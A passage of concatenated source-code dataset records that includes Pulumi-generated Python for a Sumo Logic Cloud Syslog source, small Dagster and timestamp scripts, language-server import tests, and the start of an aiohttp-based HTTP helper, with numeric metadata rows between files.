def default_date_formats(self, value: Optional[pulumi.Input[Sequence[pulumi.Input['CloudSyslogSourceDefaultDateFormatArgs']]]]):
pulumi.set(self, "default_date_formats", value)
@property
@pulumi.getter
def description(self) -> Optional[pulumi.Input[str]]:
return pulumi.get(self, "description")
@description.setter
def description(self, value: Optional[pulumi.Input[str]]):
pulumi.set(self, "description", value)
@property
@pulumi.getter
def fields(self) -> Optional[pulumi.Input[Mapping[str, pulumi.Input[str]]]]:
return pulumi.get(self, "fields")
@fields.setter
def fields(self, value: Optional[pulumi.Input[Mapping[str, pulumi.Input[str]]]]):
pulumi.set(self, "fields", value)
@property
@pulumi.getter
def filters(self) -> Optional[pulumi.Input[Sequence[pulumi.Input['CloudSyslogSourceFilterArgs']]]]:
return pulumi.get(self, "filters")
@filters.setter
def filters(self, value: Optional[pulumi.Input[Sequence[pulumi.Input['CloudSyslogSourceFilterArgs']]]]):
pulumi.set(self, "filters", value)
@property
@pulumi.getter(name="forceTimezone")
def force_timezone(self) -> Optional[pulumi.Input[bool]]:
return pulumi.get(self, "force_timezone")
@force_timezone.setter
def force_timezone(self, value: Optional[pulumi.Input[bool]]):
pulumi.set(self, "force_timezone", value)
@property
@pulumi.getter(name="hostName")
def host_name(self) -> Optional[pulumi.Input[str]]:
return pulumi.get(self, "host_name")
@host_name.setter
def host_name(self, value: Optional[pulumi.Input[str]]):
pulumi.set(self, "host_name", value)
@property
@pulumi.getter(name="manualPrefixRegexp")
def manual_prefix_regexp(self) -> Optional[pulumi.Input[str]]:
return pulumi.get(self, "manual_prefix_regexp")
@manual_prefix_regexp.setter
def manual_prefix_regexp(self, value: Optional[pulumi.Input[str]]):
pulumi.set(self, "manual_prefix_regexp", value)
@property
@pulumi.getter(name="multilineProcessingEnabled")
def multiline_processing_enabled(self) -> Optional[pulumi.Input[bool]]:
return pulumi.get(self, "multiline_processing_enabled")
@multiline_processing_enabled.setter
def multiline_processing_enabled(self, value: Optional[pulumi.Input[bool]]):
pulumi.set(self, "multiline_processing_enabled", value)
@property
@pulumi.getter
def name(self) -> Optional[pulumi.Input[str]]:
return pulumi.get(self, "name")
@name.setter
def name(self, value: Optional[pulumi.Input[str]]):
pulumi.set(self, "name", value)
@property
@pulumi.getter
def timezone(self) -> Optional[pulumi.Input[str]]:
return pulumi.get(self, "timezone")
@timezone.setter
def timezone(self, value: Optional[pulumi.Input[str]]):
pulumi.set(self, "timezone", value)
@property
@pulumi.getter(name="useAutolineMatching")
def use_autoline_matching(self) -> Optional[pulumi.Input[bool]]:
return pulumi.get(self, "use_autoline_matching")
@use_autoline_matching.setter
def use_autoline_matching(self, value: Optional[pulumi.Input[bool]]):
pulumi.set(self, "use_autoline_matching", value)
@pulumi.input_type
class _CloudSyslogSourceState:
def __init__(__self__, *,
automatic_date_parsing: Optional[pulumi.Input[bool]] = None,
category: Optional[pulumi.Input[str]] = None,
collector_id: Optional[pulumi.Input[int]] = None,
content_type: Optional[pulumi.Input[str]] = None,
cutoff_relative_time: Optional[pulumi.Input[str]] = None,
cutoff_timestamp: Optional[pulumi.Input[int]] = None,
default_date_formats: Optional[pulumi.Input[Sequence[pulumi.Input['CloudSyslogSourceDefaultDateFormatArgs']]]] = None,
description: Optional[pulumi.Input[str]] = None,
fields: Optional[pulumi.Input[Mapping[str, pulumi.Input[str]]]] = None,
filters: Optional[pulumi.Input[Sequence[pulumi.Input['CloudSyslogSourceFilterArgs']]]] = None,
force_timezone: Optional[pulumi.Input[bool]] = None,
host_name: Optional[pulumi.Input[str]] = None,
manual_prefix_regexp: Optional[pulumi.Input[str]] = None,
multiline_processing_enabled: Optional[pulumi.Input[bool]] = None,
name: Optional[pulumi.Input[str]] = None,
timezone: Optional[pulumi.Input[str]] = None,
token: Optional[pulumi.Input[str]] = None,
use_autoline_matching: Optional[pulumi.Input[bool]] = None):
"""
Input properties used for looking up and filtering CloudSyslogSource resources.
"""
if automatic_date_parsing is not None:
pulumi.set(__self__, "automatic_date_parsing", automatic_date_parsing)
if category is not None:
pulumi.set(__self__, "category", category)
if collector_id is not None:
pulumi.set(__self__, "collector_id", collector_id)
if content_type is not None:
pulumi.set(__self__, "content_type", content_type)
if cutoff_relative_time is not None:
pulumi.set(__self__, "cutoff_relative_time", cutoff_relative_time)
if cutoff_timestamp is not None:
pulumi.set(__self__, "cutoff_timestamp", cutoff_timestamp)
if default_date_formats is not None:
pulumi.set(__self__, "default_date_formats", default_date_formats)
if description is not None:
pulumi.set(__self__, "description", description)
if fields is not None:
pulumi.set(__self__, "fields", fields)
if filters is not None:
pulumi.set(__self__, "filters", filters)
if force_timezone is not None:
pulumi.set(__self__, "force_timezone", force_timezone)
if host_name is not None:
pulumi.set(__self__, "host_name", host_name)
if manual_prefix_regexp is not None:
pulumi.set(__self__, "manual_prefix_regexp", manual_prefix_regexp)
if multiline_processing_enabled is not None:
pulumi.set(__self__, "multiline_processing_enabled", multiline_processing_enabled)
if name is not None:
pulumi.set(__self__, "name", name)
if timezone is not None:
pulumi.set(__self__, "timezone", timezone)
if token is not None:
pulumi.set(__self__, "token", token)
if use_autoline_matching is not None:
pulumi.set(__self__, "use_autoline_matching", use_autoline_matching)
@property
@pulumi.getter(name="automaticDateParsing")
def automatic_date_parsing(self) -> Optional[pulumi.Input[bool]]:
return pulumi.get(self, "automatic_date_parsing")
@automatic_date_parsing.setter
def automatic_date_parsing(self, value: Optional[pulumi.Input[bool]]):
pulumi.set(self, "automatic_date_parsing", value)
@property
@pulumi.getter
def category(self) -> Optional[pulumi.Input[str]]:
return pulumi.get(self, "category")
@category.setter
def category(self, value: Optional[pulumi.Input[str]]):
pulumi.set(self, "category", value)
@property
@pulumi.getter(name="collectorId")
def collector_id(self) -> Optional[pulumi.Input[int]]:
return pulumi.get(self, "collector_id")
@collector_id.setter
def collector_id(self, value: Optional[pulumi.Input[int]]):
pulumi.set(self, "collector_id", value)
@property
@pulumi.getter(name="contentType")
def content_type(self) -> Optional[pulumi.Input[str]]:
return pulumi.get(self, "content_type")
@content_type.setter
def content_type(self, value: Optional[pulumi.Input[str]]):
pulumi.set(self, "content_type", value)
@property
@pulumi.getter(name="cutoffRelativeTime")
def cutoff_relative_time(self) -> Optional[pulumi.Input[str]]:
return pulumi.get(self, "cutoff_relative_time")
@cutoff_relative_time.setter
def cutoff_relative_time(self, value: Optional[pulumi.Input[str]]):
pulumi.set(self, "cutoff_relative_time", value)
@property
@pulumi.getter(name="cutoffTimestamp")
def cutoff_timestamp(self) -> Optional[pulumi.Input[int]]:
return pulumi.get(self, "cutoff_timestamp")
@cutoff_timestamp.setter
def cutoff_timestamp(self, value: Optional[pulumi.Input[int]]):
pulumi.set(self, "cutoff_timestamp", value)
@property
@pulumi.getter(name="defaultDateFormats")
def default_date_formats(self) -> Optional[pulumi.Input[Sequence[pulumi.Input['CloudSyslogSourceDefaultDateFormatArgs']]]]:
return pulumi.get(self, "default_date_formats")
@default_date_formats.setter
def default_date_formats(self, value: Optional[pulumi.Input[Sequence[pulumi.Input['CloudSyslogSourceDefaultDateFormatArgs']]]]):
pulumi.set(self, "default_date_formats", value)
@property
@pulumi.getter
def description(self) -> Optional[pulumi.Input[str]]:
return pulumi.get(self, "description")
@description.setter
def description(self, value: Optional[pulumi.Input[str]]):
pulumi.set(self, "description", value)
@property
@pulumi.getter
def fields(self) -> Optional[pulumi.Input[Mapping[str, pulumi.Input[str]]]]:
return pulumi.get(self, "fields")
@fields.setter
def fields(self, value: Optional[pulumi.Input[Mapping[str, pulumi.Input[str]]]]):
pulumi.set(self, "fields", value)
@property
@pulumi.getter
def filters(self) -> Optional[pulumi.Input[Sequence[pulumi.Input['CloudSyslogSourceFilterArgs']]]]:
return pulumi.get(self, "filters")
@filters.setter
def filters(self, value: Optional[pulumi.Input[Sequence[pulumi.Input['CloudSyslogSourceFilterArgs']]]]):
pulumi.set(self, "filters", value)
@property
@pulumi.getter(name="forceTimezone")
def force_timezone(self) -> Optional[pulumi.Input[bool]]:
return pulumi.get(self, "force_timezone")
@force_timezone.setter
def force_timezone(self, value: Optional[pulumi.Input[bool]]):
pulumi.set(self, "force_timezone", value)
@property
@pulumi.getter(name="hostName")
def host_name(self) -> Optional[pulumi.Input[str]]:
return pulumi.get(self, "host_name")
@host_name.setter
def host_name(self, value: Optional[pulumi.Input[str]]):
pulumi.set(self, "host_name", value)
@property
@pulumi.getter(name="manualPrefixRegexp")
def manual_prefix_regexp(self) -> Optional[pulumi.Input[str]]:
return pulumi.get(self, "manual_prefix_regexp")
@manual_prefix_regexp.setter
def manual_prefix_regexp(self, value: Optional[pulumi.Input[str]]):
pulumi.set(self, "manual_prefix_regexp", value)
@property
@pulumi.getter(name="multilineProcessingEnabled")
def multiline_processing_enabled(self) -> Optional[pulumi.Input[bool]]:
return pulumi.get(self, "multiline_processing_enabled")
@multiline_processing_enabled.setter
def multiline_processing_enabled(self, value: Optional[pulumi.Input[bool]]):
pulumi.set(self, "multiline_processing_enabled", value)
@property
@pulumi.getter
def name(self) -> Optional[pulumi.Input[str]]:
return pulumi.get(self, "name")
@name.setter
def name(self, value: Optional[pulumi.Input[str]]):
pulumi.set(self, "name", value)
@property
@pulumi.getter
def timezone(self) -> Optional[pulumi.Input[str]]:
return pulumi.get(self, "timezone")
@timezone.setter
def timezone(self, value: Optional[pulumi.Input[str]]):
pulumi.set(self, "timezone", value)
@property
@pulumi.getter
def token(self) -> Optional[pulumi.Input[str]]:
return pulumi.get(self, "token")
@token.setter
def token(self, value: Optional[pulumi.Input[str]]):
pulumi.set(self, "token", value)
@property
@pulumi.getter(name="useAutolineMatching")
def use_autoline_matching(self) -> Optional[pulumi.Input[bool]]:
return pulumi.get(self, "use_autoline_matching")
@use_autoline_matching.setter
def use_autoline_matching(self, value: Optional[pulumi.Input[bool]]):
pulumi.set(self, "use_autoline_matching", value)
class CloudSyslogSource(pulumi.CustomResource):
@overload
def __init__(__self__,
resource_name: str,
opts: Optional[pulumi.ResourceOptions] = None,
automatic_date_parsing: Optional[pulumi.Input[bool]] = None,
category: Optional[pulumi.Input[str]] = None,
collector_id: Optional[pulumi.Input[int]] = None,
content_type: Optional[pulumi.Input[str]] = None,
cutoff_relative_time: Optional[pulumi.Input[str]] = None,
cutoff_timestamp: Optional[pulumi.Input[int]] = None,
default_date_formats: Optional[pulumi.Input[Sequence[pulumi.Input[pulumi.InputType['CloudSyslogSourceDefaultDateFormatArgs']]]]] = None,
description: Optional[pulumi.Input[str]] = None,
fields: Optional[pulumi.Input[Mapping[str, pulumi.Input[str]]]] = None,
filters: Optional[pulumi.Input[Sequence[pulumi.Input[pulumi.InputType['CloudSyslogSourceFilterArgs']]]]] = None,
force_timezone: Optional[pulumi.Input[bool]] = None,
host_name: Optional[pulumi.Input[str]] = None,
manual_prefix_regexp: Optional[pulumi.Input[str]] = None,
multiline_processing_enabled: Optional[pulumi.Input[bool]] = None,
name: Optional[pulumi.Input[str]] = None,
timezone: Optional[pulumi.Input[str]] = None,
use_autoline_matching: Optional[pulumi.Input[bool]] = None,
__props__=None):
"""
Provides a [Sumo Logic Cloud Syslog source](https://help.sumologic.com/Send_Data/Sources/02Sources_for_Hosted_Collectors/Cloud_Syslog_Source).
__IMPORTANT:__ The token is stored in plain-text in the state. This is a potential security issue.
## Example Usage
```python
import pulumi
import pulumi_sumologic as sumologic
collector = sumologic.Collector("collector", description="Just testing this")
cloudsyslog_source = sumologic.CloudSyslogSource("cloudsyslogSource",
category="my/source/category",
collector_id=collector.id,
description="My description")
```
## Attributes reference
The following attributes are exported:
- `id` - The internal ID of the source.
- `token` - The token to use for sending data to this source.
## Import
Cloud Syslog sources can be imported using the collector and source IDs (`collector/source`), e.g.hcl
```sh
$ pulumi import sumologic:index/cloudSyslogSource:CloudSyslogSource test 123/456
```
HTTP sources can be imported using the collector name and source name (`collectorName/sourceName`), e.g.hcl
```sh
$ pulumi import sumologic:index/cloudSyslogSource:CloudSyslogSource test my-test-collector/my-test-source
```
[1]https://help.sumologic.com/Send_Data/Sources/02Sources_for_Hosted_Collectors/Cloud_Syslog_Source
:param str resource_name: The name of the resource.
:param pulumi.ResourceOptions opts: Options for the resource.
"""
...
@overload
def __init__(__self__,
resource_name: str,
args: CloudSyslogSourceArgs,
opts: Optional[pulumi.ResourceOptions] = None):
"""
Provides a [Sumo Logic Cloud Syslog source](https://help.sumologic.com/Send_Data/Sources/02Sources_for_Hosted_Collectors/Cloud_Syslog_Source).
__IMPORTANT:__ The token is stored in plain-text in the state. This is a potential security issue.
## Example Usage
```python
import pulumi
import pulumi_sumologic as sumologic
collector = sumologic.Collector("collector", description="Just testing this")
cloudsyslog_source = sumologic.CloudSyslogSource("cloudsyslogSource",
category="my/source/category",
collector_id=collector.id,
description="My description")
```
## Attributes reference
The following attributes are exported:
- `id` - The internal ID of the source.
- `token` - The token to use for sending data to this source.
## Import
Cloud Syslog sources can be imported using the collector and source IDs (`collector/source`), e.g.hcl
```sh
$ pulumi import sumologic:index/cloudSyslogSource:CloudSyslogSource test 123/456
```
HTTP sources can be imported using the collector name and source name (`collectorName/sourceName`), e.g.hcl
```sh
$ pulumi import sumologic:index/cloudSyslogSource:CloudSyslogSource test my-test-collector/my-test-source
```
[1]https://help.sumologic.com/Send_Data/Sources/02Sources_for_Hosted_Collectors/Cloud_Syslog_Source
:param str resource_name: The name of the resource.
:param CloudSyslogSourceArgs args: The arguments to use to populate this resource's properties.
:param pulumi.ResourceOptions opts: Options for the resource.
"""
...
def __init__(__self__, resource_name: str, *args, **kwargs):
resource_args, opts = _utilities.get_resource_args_opts(CloudSyslogSourceArgs, pulumi.ResourceOptions, *args, **kwargs)
if resource_args is not None:
__self__._internal_init(resource_name, opts, **resource_args.__dict__)
else:
__self__._internal_init(resource_name, *args, **kwargs)
def _internal_init(__self__,
resource_name: str,
opts: Optional[pulumi.ResourceOptions] = None,
automatic_date_parsing: Optional[pulumi.Input[bool]] = None,
category: Optional[pulumi.Input[str]] = None,
collector_id: Optional[pulumi.Input[int]] = None,
content_type: Optional[pulumi.Input[str]] = None,
cutoff_relative_time: Optional[pulumi.Input[str]] = None,
cutoff_timestamp: Optional[pulumi.Input[int]] = None,
default_date_formats: Optional[pulumi.Input[Sequence[pulumi.Input[pulumi.InputType['CloudSyslogSourceDefaultDateFormatArgs']]]]] = None,
description: Optional[pulumi.Input[str]] = None,
fields: Optional[pulumi.Input[Mapping[str, pulumi.Input[str]]]] = None,
filters: Optional[pulumi.Input[Sequence[pulumi.Input[pulumi.InputType['CloudSyslogSourceFilterArgs']]]]] = None,
force_timezone: Optional[pulumi.Input[bool]] = None,
host_name: Optional[pulumi.Input[str]] = None,
manual_prefix_regexp: Optional[pulumi.Input[str]] = None,
multiline_processing_enabled: Optional[pulumi.Input[bool]] = None,
name: Optional[pulumi.Input[str]] = None,
timezone: Optional[pulumi.Input[str]] = None,
use_autoline_matching: Optional[pulumi.Input[bool]] = None,
__props__=None):
if opts is None:
opts = pulumi.ResourceOptions()
if not isinstance(opts, pulumi.ResourceOptions):
raise TypeError('Expected resource options to be a ResourceOptions instance')
if opts.version is None:
opts.version = _utilities.get_version()
if opts.id is None:
if __props__ is not None:
raise TypeError('__props__ is only valid when passed in combination with a valid opts.id to get an existing resource')
__props__ = CloudSyslogSourceArgs.__new__(CloudSyslogSourceArgs)
__props__.__dict__["automatic_date_parsing"] = automatic_date_parsing
__props__.__dict__["category"] = category
if collector_id is None and not opts.urn:
raise TypeError("Missing required property 'collector_id'")
__props__.__dict__["collector_id"] = collector_id
__props__.__dict__["content_type"] = content_type
__props__.__dict__["cutoff_relative_time"] = cutoff_relative_time
__props__.__dict__["cutoff_timestamp"] = cutoff_timestamp
__props__.__dict__["default_date_formats"] = default_date_formats
__props__.__dict__["description"] = description
__props__.__dict__["fields"] = fields
__props__.__dict__["filters"] = filters
__props__.__dict__["force_timezone"] = force_timezone
__props__.__dict__["host_name"] = host_name
__props__.__dict__["manual_prefix_regexp"] = manual_prefix_regexp
__props__.__dict__["multiline_processing_enabled"] = multiline_processing_enabled
__props__.__dict__["name"] = name
__props__.__dict__["timezone"] = timezone
__props__.__dict__["use_autoline_matching"] = use_autoline_matching
__props__.__dict__["token"] = None
super(CloudSyslogSource, __self__).__init__(
'sumologic:index/cloudSyslogSource:CloudSyslogSource',
resource_name,
__props__,
opts)
@staticmethod
def get(resource_name: str,
id: pulumi.Input[str],
opts: Optional[pulumi.ResourceOptions] = None,
automatic_date_parsing: Optional[pulumi.Input[bool]] = None,
category: Optional[pulumi.Input[str]] = None,
collector_id: Optional[pulumi.Input[int]] = None,
content_type: Optional[pulumi.Input[str]] = None,
cutoff_relative_time: Optional[pulumi.Input[str]] = None,
cutoff_timestamp: Optional[pulumi.Input[int]] = None,
default_date_formats: Optional[pulumi.Input[Sequence[pulumi.Input[pulumi.InputType['CloudSyslogSourceDefaultDateFormatArgs']]]]] = None,
description: Optional[pulumi.Input[str]] = None,
fields: Optional[pulumi.Input[Mapping[str, pulumi.Input[str]]]] = None,
filters: Optional[pulumi.Input[Sequence[pulumi.Input[pulumi.InputType['CloudSyslogSourceFilterArgs']]]]] = None,
force_timezone: Optional[pulumi.Input[bool]] = None,
host_name: Optional[pulumi.Input[str]] = None,
manual_prefix_regexp: Optional[pulumi.Input[str]] = None,
multiline_processing_enabled: Optional[pulumi.Input[bool]] = None,
name: Optional[pulumi.Input[str]] = None,
timezone: Optional[pulumi.Input[str]] = None,
token: Optional[pulumi.Input[str]] = None,
use_autoline_matching: Optional[pulumi.Input[bool]] = None) -> 'CloudSyslogSource':
"""
Get an existing CloudSyslogSource resource's state with the given name, id, and optional extra
properties used to qualify the lookup.
:param str resource_name: The unique name of the resulting resource.
:param pulumi.Input[str] id: The unique provider ID of the resource to lookup.
:param pulumi.ResourceOptions opts: Options for the resource.
"""
opts = pulumi.ResourceOptions.merge(opts, pulumi.ResourceOptions(id=id))
__props__ = _CloudSyslogSourceState.__new__(_CloudSyslogSourceState)
__props__.__dict__["automatic_date_parsing"] = automatic_date_parsing
__props__.__dict__["category"] = category
__props__.__dict__["collector_id"] = collector_id
__props__.__dict__["content_type"] = content_type
__props__.__dict__["cutoff_relative_time"] = cutoff_relative_time
__props__.__dict__["cutoff_timestamp"] = cutoff_timestamp
__props__.__dict__["default_date_formats"] = default_date_formats
__props__.__dict__["description"] = description
__props__.__dict__["fields"] = fields
__props__.__dict__["filters"] = filters
__props__.__dict__["force_timezone"] = force_timezone
__props__.__dict__["host_name"] = host_name
__props__.__dict__["manual_prefix_regexp"] = manual_prefix_regexp
__props__.__dict__["multiline_processing_enabled"] = multiline_processing_enabled
__props__.__dict__["name"] = name
__props__.__dict__["timezone"] = timezone
__props__.__dict__["token"] = token
__props__.__dict__["use_autoline_matching"] = use_autoline_matching
return CloudSyslogSource(resource_name, opts=opts, __props__=__props__)
@property
@pulumi.getter(name="automaticDateParsing")
def automatic_date_parsing(self) -> pulumi.Output[Optional[bool]]:
return pulumi.get(self, "automatic_date_parsing")
@property
@pulumi.getter
def category(self) -> pulumi.Output[Optional[str]]:
return pulumi.get(self, "category")
@property
@pulumi.getter(name="collectorId")
def collector_id(self) -> pulumi.Output[int]:
return pulumi.get(self, "collector_id")
@property
@pulumi.getter(name="contentType")
def content_type(self) -> pulumi.Output[Optional[str]]:
return pulumi.get(self, "content_type")
@property
@pulumi.getter(name="cutoffRelativeTime")
def cutoff_relative_time(self) -> pulumi.Output[Optional[str]]:
return pulumi.get(self, "cutoff_relative_time")
@property
@pulumi.getter(name="cutoffTimestamp")
def cutoff_timestamp(self) -> pulumi.Output[Optional[int]]:
return pulumi.get(self, "cutoff_timestamp")
@property
@pulumi.getter(name="defaultDateFormats")
def default_date_formats(self) -> pulumi.Output[Optional[Sequence['outputs.CloudSyslogSourceDefaultDateFormat']]]:
return pulumi.get(self, "default_date_formats")
@property
@pulumi.getter
def description(self) -> pulumi.Output[Optional[str]]:
return pulumi.get(self, "description")
@property
@pulumi.getter
def fields(self) -> pulumi.Output[Optional[Mapping[str, str]]]:
return pulumi.get(self, "fields")
@property
@pulumi.getter
def filters(self) -> pulumi.Output[Optional[Sequence['outputs.CloudSyslogSourceFilter']]]:
return pulumi.get(self, "filters")
@property
@pulumi.getter(name="forceTimezone")
def force_timezone(self) -> pulumi.Output[Optional[bool]]:
return pulumi.get(self, "force_timezone")
@property
@pulumi.getter(name="hostName")
def host_name(self) -> pulumi.Output[Optional[str]]:
return pulumi.get(self, "host_name")
@property
@pulumi.getter(name="manualPrefixRegexp")
def manual_prefix_regexp(self) -> pulumi.Output[Optional[str]]:
return pulumi.get(self, "manual_prefix_regexp")
@property
@pulumi.getter(name="multilineProcessingEnabled")
def multiline_processing_enabled(self) -> pulumi.Output[Optional[bool]]:
return pulumi.get(self, "multiline_processing_enabled")
@property
@pulumi.getter
def name(self) -> pulumi.Output[str]:
return pulumi.get(self, "name")
@property
@pulumi.getter
def timezone(self) -> pulumi.Output[Optional[str]]:
return pulumi.get(self, "timezone")
@property
@pulumi.getter
def token(self) -> pulumi.Output[str]:
return pulumi.get(self, "token")
@property
@pulumi.getter(name="useAutolineMatching")
def use_autoline_matching(self) -> pulumi.Output[Optional[bool]]:
return pulumi.get(self, "use_autoline_matching")
| 43.387887
| 153
| 0.667766
| 3,714
| 33,669
| 5.764943
| 0.059505
| 0.096586
| 0.136659
| 0.078091
| 0.905563
| 0.899117
| 0.879408
| 0.869226
| 0.846808
| 0.808043
| 0
| 0.000876
| 0.219906
| 33,669
| 775
| 154
| 43.443871
| 0.814316
| 0.105646
| 0
| 0.866667
| 1
| 0
| 0.124115
| 0.049016
| 0
| 0
| 0
| 0
| 0
| 1
| 0.166667
| false
| 0.001754
| 0.012281
| 0.092982
| 0.278947
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 1
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 1
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 8
|
2082478c5b65779aae2acfdccad35b5845fda1cd
| 153
|
py
|
Python
|
util/ts2date.py
|
shamilbi/ru203
|
cc6c5b232527baf427ae1f9765384bd6324838b8
|
[
"MIT"
] | null | null | null |
util/ts2date.py
|
shamilbi/ru203
|
cc6c5b232527baf427ae1f9765384bd6324838b8
|
[
"MIT"
] | null | null | null |
util/ts2date.py
|
shamilbi/ru203
|
cc6c5b232527baf427ae1f9765384bd6324838b8
|
[
"MIT"
] | null | null | null |
#!/usr/bin/python3
import sys
from datetime import datetime
#print(datetime.fromtimestamp(1609804800))
print(datetime.fromtimestamp(int(sys.argv[1])))
| 19.125
| 47
| 0.79085
| 20
| 153
| 6.05
| 0.65
| 0.214876
| 0.429752
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.084507
| 0.071895
| 153
| 7
| 48
| 21.857143
| 0.767606
| 0.379085
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| true
| 0
| 0.666667
| 0
| 0.666667
| 0.333333
| 1
| 0
| 0
| null | 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 1
| 0
| 1
| 0
|
0
| 7
|
209f6cbdc0d2ebb4d264bc68fb726831a1acfbca
| 179
|
py
|
Python
|
examples/software_defined_assets/software_defined_assets/repo.py
|
rpatil524/dagster
|
6f918d94cbd543ab752ab484a65e3a40fd441716
|
[
"Apache-2.0"
] | 1
|
2021-01-31T19:16:29.000Z
|
2021-01-31T19:16:29.000Z
|
examples/software_defined_assets/software_defined_assets/repo.py
|
rpatil524/dagster
|
6f918d94cbd543ab752ab484a65e3a40fd441716
|
[
"Apache-2.0"
] | null | null | null |
examples/software_defined_assets/software_defined_assets/repo.py
|
rpatil524/dagster
|
6f918d94cbd543ab752ab484a65e3a40fd441716
|
[
"Apache-2.0"
] | 1
|
2021-12-08T18:13:19.000Z
|
2021-12-08T18:13:19.000Z
|
from dagster import repository
from software_defined_assets.spark_weather_job import spark_weather_job
@repository
def software_defined_assets():
return [spark_weather_job]
| 22.375
| 71
| 0.854749
| 24
| 179
| 5.958333
| 0.5
| 0.251748
| 0.314685
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.106145
| 179
| 7
| 72
| 25.571429
| 0.89375
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0.2
| true
| 0
| 0.4
| 0.2
| 0.8
| 0
| 1
| 0
| 0
| null | 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 1
| 1
| 1
| 0
|
0
| 8
|
20a6c985d526f34522849a1ac0510dc9b1aa909f
| 1,595
|
py
|
Python
|
tools/vscode-extension/server/tests/test_imports.py
|
orlandoojr1/wave
|
e86d0c87c6c67e510fb4e1fa571982ca0a09f33c
|
[
"Apache-2.0"
] | 1
|
2022-03-02T21:54:36.000Z
|
2022-03-02T21:54:36.000Z
|
tools/vscode-extension/server/tests/test_imports.py
|
orlandoojr1/wave
|
e86d0c87c6c67e510fb4e1fa571982ca0a09f33c
|
[
"Apache-2.0"
] | null | null | null |
tools/vscode-extension/server/tests/test_imports.py
|
orlandoojr1/wave
|
e86d0c87c6c67e510fb4e1fa571982ca0a09f33c
|
[
"Apache-2.0"
] | null | null | null |
import os
from server.lsp_server import did_save
from server.parser import read_file
from server.tests.utils import BaseTestCase, FakeSaveParams, root_uri
class TestImportCompletions(BaseTestCase):
def test_import_deps(self):
self.assert_state('q.client.', doc_uri=os.path.join(root_uri, 'utils.py'))
def test_remove_import_deps(self):
self.assert_state('q.client.', doc_uri=os.path.join(root_uri, 'utils.py'))
file_path = os.path.join(root_uri, 'main.py')
removed_imports = read_file(file_path).replace('import utils, utils2', '')
# Mock save action.
did_save(self.server, FakeSaveParams(removed_imports, file_path))
completions = self.get_completions('q.client.', doc_uri=os.path.join(root_uri, 'utils.py'))
self.assertEqual(len(completions), 1)
self.assertTrue('regular_import' in completions)
def test_add_import_deps(self):
file_path = os.path.join(root_uri, 'main.py')
removed_imports = read_file(file_path).replace('import utils, utils2', '')
# Mock save action.
did_save(self.server, FakeSaveParams(removed_imports, file_path))
completions = self.get_completions('q.client.', doc_uri=os.path.join(root_uri, 'utils.py'))
self.assertEqual(len(completions), 1)
self.assertTrue('regular_import' in completions)
# Mock save action.
did_save(self.server, FakeSaveParams('import utils, utils2\n' + removed_imports, file_path))
self.assert_state('q.client.', doc_uri=os.path.join(root_uri, 'utils.py'))
| 43.108108
| 100
| 0.692163
| 216
| 1,595
| 4.888889
| 0.222222
| 0.05303
| 0.066288
| 0.092803
| 0.762311
| 0.762311
| 0.762311
| 0.762311
| 0.719697
| 0.719697
| 0
| 0.003831
| 0.181818
| 1,595
| 36
| 101
| 44.305556
| 0.805364
| 0.034483
| 0
| 0.625
| 0
| 0
| 0.123127
| 0
| 0
| 0
| 0
| 0
| 0.291667
| 1
| 0.125
| false
| 0
| 0.625
| 0
| 0.791667
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 1
| 0
|
0
| 7
|
20c7a8c58fb4f9877accd39d859cfec7acddcbe2
| 4,399
|
py
|
Python
|
src/HABApp/rule/interfaces/http.py
|
pailloM/HABApp
|
3e0defd99ede9b91c164cb9d1ee011fd74e801c3
|
[
"Apache-2.0"
] | null | null | null |
src/HABApp/rule/interfaces/http.py
|
pailloM/HABApp
|
3e0defd99ede9b91c164cb9d1ee011fd74e801c3
|
[
"Apache-2.0"
] | null | null | null |
src/HABApp/rule/interfaces/http.py
|
pailloM/HABApp
|
3e0defd99ede9b91c164cb9d1ee011fd74e801c3
|
[
"Apache-2.0"
] | null | null | null |
from typing import Any, Optional, Mapping
import aiohttp
from HABApp.core.const import loop
from HABApp.core.const.json import dump_json
class AsyncHttpConnection:
def __init__(self):
self.__client: aiohttp.ClientSession = None
async def create_client(self):
assert self.__client is None
self.__client = aiohttp.ClientSession(json_serialize=dump_json, loop=loop)
from HABApp.runtime import shutdown
shutdown.register_func(self.__client.close, msg='Closing generic http connection')
def get(self, url: str, params: Optional[Mapping[str, str]] = None, **kwargs: Any)\
-> aiohttp.client._RequestContextManager:
"""http get request
:param url: Request URL
:param params: Mapping, iterable of tuple of key/value pairs (e.g. dict)
to be sent as parameters in the query string of the new request.
`Params example
<https://docs.aiohttp.org/en/stable/client_quickstart.html#passing-parameters-in-urls>`_
:param data: Dictionary, bytes, or file-like object to send in the body of the request
(optional)
:param json: Any json compatible python object, json and data parameters could not be used at the same time.
(optional)
:param kwargs: See `aiohttp request <https://docs.aiohttp.org/en/stable/client_reference.html#aiohttp.request>`_
for further possible kwargs
:return: awaitable
"""
return self.__client.get(url, params=params, **kwargs)
def post(self, url: str, params: Optional[Mapping[str, str]] = None,
data: Any = None, json: Any = None, **kwargs: Any) -> aiohttp.client._RequestContextManager:
"""http post request
:param url: Request URL
:param params: Mapping, iterable of tuple of key/value pairs (e.g. dict)
to be sent as parameters in the query string of the new request.
`Params example
